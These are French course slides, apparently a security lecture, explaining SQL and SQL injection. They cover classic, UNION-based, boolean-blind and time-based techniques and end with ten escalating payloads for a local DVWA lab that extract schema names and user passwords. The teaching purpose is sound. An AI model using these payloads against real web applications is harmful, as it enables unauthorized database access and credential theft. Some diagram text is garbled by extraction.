2. Plan
2
• SQL
• Injection SQL
• Injections SQL standards
• Injections SQL de requêtes UNION
• Injections SQL aveugles
3. SQL
3
• SQL signifie Structured Query Language
– Langage utilisé pour accéder / communiquer avec bases de
données
• Langages standards ANSI et ISO
• Les instructions SQL peuvent effectuer les tâches
suivantes sur une base de données (BD):
– Récupération des données
– Insertion de nouvelles données
– Modification (mise à jours) des données existantes.
– Suppression des enregistrements
• Plusieurs standards, plusieurs produits BD:
– Les mêmes principaux mots clés pour les requêtes (SELECT,
UPDATE, INSERT…etc.)
– Chaque BD peut avoir ses propres extensions propriétaires
4. SQL
Pub_Id Pub_name
1 Springer
2 IEEE
book_Id title price
1002012 SQL injection 100 $
1012012 Internet Security 110 $
• Une base de données relationnelle contient en général une ou
plusieurs tables (liées ou pas) et qui sont identifiables par leurs
noms.
• Chaque table contient des colonnes et des enregistrements.
• En général les enregistrement sont identifiables en se basant sur
une ou plusieurs colonnes spécifiques qui sont les clés (index) de
la table.
4
5. SQL
5
• SQL Data Definition Language (DDL)
– Permet de construire la base de données en créant ou supprimant des
tables, spécifier les index des tables, les liens et/ou contraintes entre
tables, etc.
– Exemple CREATE TABLE, ALTER TABLE, DROP TABLE.
• SQL Data Manipulation Language (DML)
– Manipuler les données dans la base de données
• Presque toutes les bases de données SQL se basent sur
le modèle relationnelle des données:
– SGBDR: Système de Gestion de Bases de Données Relationnelles
– Les métadonnées, qui sont les données sur la base de données,
doivent être stockeés dans la base de données elle-même avec les
données utilisateur
– Par conséquent, la structure de base de données peut aussi être lue et
modifié avec des requêtes SQL. => Critique
6. Vulnérabilité #1 Injection –Attaque -
Firewall
Hardened OS
Web Server
App Server
Firewall
Databases
tems
ices ies e
s
r
c
s v r
Sy Ser to R
y ec an
ac eb Dir m
eg W Hu
L
s
Billing
Custom Code
ON
APPLICATI
ATTACK
Network
Layer
Application
Layer
Accounts
tio e m
ac n g
s u m
m led o
an m C
r w -
T o o E
C Kn
ation
ns
n
Mgmt
erce
Bus.
Functions
HTTP
request
QL
ce tr icatio
an is S
Fin m
in
d que
A ry
DBT
able
HTTP
response
"SELECT * FROM accounts
WHERE acct=‘’ OR 1=1--’"
1.Application presents a form to
the attacker
2.Attacker sends an attack in the
form data
Account Summary
Acct:5424-6066-2134-4334
Acct:4128-7574-3921-0192
Acct:5424-9383-2039-4029
A
3. Application forwards attack to
the database in a SQL query
4. Database runs query
containing attack and sends
encrypted results back to
application
5.Application decrypts data
as normal and sends results
to the user
Account:
SKU:
cct:4128-0004-1234-0293
Account:
SKU:
6
Source: http://www.owasp.org/index.php/Top_10
Injection SQL
7. Injection SQL
7
• La capacité d'injecter des commandes
SQL dans le moteur de base de données
grâce à une application existante
• Causes des injections SQL :
– Une requête SQL générée en composant
« naïvement » les données reçues des
utilisateurs d’une application.
– Aucune vérification n’est effectuée sur les
données OU
– Vérification médiocre
8. 8
• Les objectifs des injections SQL peuvent
être multiples:
– Accéder à des données auxquelles on ne
devrait pas avoir accès,
– Modifier des données,
– Effacer des données,
– Lire/écrire sur le système de fichier,
– Exécuter des commandes systèmes.
Injection SQL
9. • Préparation de l’attaque:
– Identifier des paramètres injectables
– Identifier le type et la version du SGBDR
– Déterminer le schéma de la base de données
(noms de table, noms de colonne, types de
données des colonnes…etc.)
9
Injection SQL
11. Injection SQL
11
• 1ère étape: Comprendre quand l’application se connecte à un
serveur de base de données.
• Exemples typiques de connexion à une BD:
o Formulaires d'authentification: il ya des chances que les informations
d'identification sont comparées à une BD qui contient tous les noms
d'utilisateur et mots de passe
o Moteurs de recherche: les chaînes présentées par l'utilisateur peuvent
être utilisées dans une requête SQL qui extrait tous les documents
pertinents à partir d'une BD
o Sites de commerce électronique: les produits et leurs caractéristiques
(prix, description, disponibilité, ...) sont très susceptibles d'être stockés
dans une BD
12. • 2ère étape: Préparer une liste de tous les champs de saisie dont
les valeurs pourraient être utilisées dans l'élaboration d'une
requête SQL.
• Stratégie gagnante: Tester chaque champ séparément
alors que les valeurs de toutes les autres variables doivent
rester constantes.
• Permet d’identifier avec précision les paramètres qui sont
vulnérables et ceux qui ne le sont pas.
• Essayer d’interférer avec la requête et provoquer la
génération d’erreurs.
12
Injection SQL
13. Comment détecter la présence de vulnérabilités?
• D’abord tester les injections classiques!
• Test de base:
• Ajout d'une apostrophe (') ou d’un point-virgule (;) aux champs sous test
o (') : utilisée comme une marque de fin de chaîne de caractères dans une
instruction SQL.
o (;) : utilisé pour marquer la fin d’une instruction SQL.
• En l’absence de filtres, ces caractères peuvent mener à l’exécution de
requêtes incorrectes et/ou générer des erreurs
Les hackers adorent les messages d’erreurs
13
Injection SQL
14. Comment détecter la présence de vulnérabilités?
Messages d’erreurs « généreux »
Malheureusement, les applications web sont souvent
beaucoup moins bavardes
« Heureusement », les techniques d’injection aveugle
existent
14
Injection SQL
15. Injections SQL standards
Requête SQL en arrière plan:
Une attaque possible:
Dans quelques systèmes, la 1ère ligne retournée par cette
requête correspond à un utilisateur administrateur!
15
16. Une requête SQL plus intelligente
• Deux problèmes: les parenthèses et la fonction de hachage MD5!
• Solutions
o Les parenthèses: On s’arranger pour les respecter
o MD5: On s’arranger pour que SQL l’ignore tout simplement!
/* ou bien # ou bien --
Syntax SQLcommentaire
16
Injections SQL standards
17. Problème: Parfois, le code d'authentification vérifie que le
nombre d’enregistrements retournés est exactement égal à 1
Solution:
Mais comment avoir les autres enregistrements?
Injections SQL standards
17
18. Injections SQL de requêtes UNION
e
Peut-on avoir accès aux données d’une table autre que cell
visée par la requête?
Solution: Utiliser l’opérateur d’union « UNION »
18
1 ' and 2=3 UNION SELECT
(SELECT GROUP_CONCAT(column_name) FROM
information_schema.columns
WHERE table_name='users'),1 #
19. Injections SQL aveugle
19
Comment détecter que la page est vulnérable?
Une page web http://newspaper.com/items.php?id=2
Requête (possible) exécutée en arrière plan SELECT title, description, body FROM items WHERE ID = 2
Es-tu vulnérable BD? http://newspaper.com/items.php?id=2 and 1=2
Pas de réponse!
=> Potentiellement vulnérable
Es-tu vraiment vulnérable BD? http://newspaper.com/items.php?id=2 and 1=1
La même réponse que http://newspaper.com/items.php?id=2
=> Surement vulnérable
On a de la chance! On sait faire la différence entre une
réponse valide et une réponse non valide!
20. 20
Soit la requête exécutée en arrière plan:
Approche: Changer le codeASCII jusqu’à l’obtention d’un
résultat => passer au caractère suivant
Injections SQL aveugle
21. Quelques fonctions utilisées:
• SUBSTRING (texte, debut, longueur): retourne une sous chaine de caractère
débutant a la position « debut» du texte et de longueur « longueur». Si « debut» est
supérieure à la longueur du texte, la fonction retourne la valeur nulle.
• ASCII (char): retourne le codeASCII du caractère en paramètre « char ». Si le
caractère est 0, la valeur null est retournée.
• LENGTH (text):donne la longueur en nombre de caractères de la chaine en
paramètre « text».
21
Injections SQL aveugle
22. Mais si la page web est vraiment opaque!!!
Timing attack : des fonctions qui consomment du temps!
Example: combiner:
• Injection de SELECT IF(expression, op1, op2)
• Si expression est évaluée à true alors op1 s’exécute
• BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')) exécute
5000000 fois la fonction ENCODE.
• En fonction de la performance du SGBDR et de sa charge, les
répétitions devrait influencer le temps de réponse du serveur
Injections SQL aveugle
22
Si la réponse du serveur à cette requête prend beaucoup de temps, l’attaquant
présumerait que le premier caractère du password pour user_id = 1 est
effectivement le caractère ‘2’.
Example d’utilisation:
1 UNION SELECT IF
(SUBSTRING(user_passord,1,1) = CHAR(50),
BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),
null)
FROM users WHERE user_id = 1;
24. Test Injection SQL
24
http://127.0.0.1/dvwa/index.php admin, password
%%%%%%%%%%%%%%%%TEST1%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1+1 ou bien 1%2b1
%%%%%%%%%%%%%%%TEST2%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' or 1=1 #
%%%%%%%%%%%%%%TEST3%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and '1'='2' #
%%%%%%%%%%%%%%%TEST4%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and '1'='2' union select 1 #
1 ' and 1=2 union select 1,2 #
%%%%%%%%%%%%%%TEST5%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select database(),user() #
%%%%%%%%%%%%%%TEST6%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(column_name) from information_schema.columns where
table_schema=database()),1 #
%%%%%%TEST7%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(table_name) from information_schema.tables where table_schema!='mysql' and
table_schema !='information_schema'),1 #
%%%%%%TEST8%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(column_name) from information_schema.columns where table_name='users'),1 #
%%%%%%TEST9%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select password from users where first_name='admin'),1 #
%%%%%%TEST10 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(user_id,0x2c,first_name,0x2c,last_name,
0x2c,user,0x2c,password,0x2c,avatar,0x0a) from users),1 #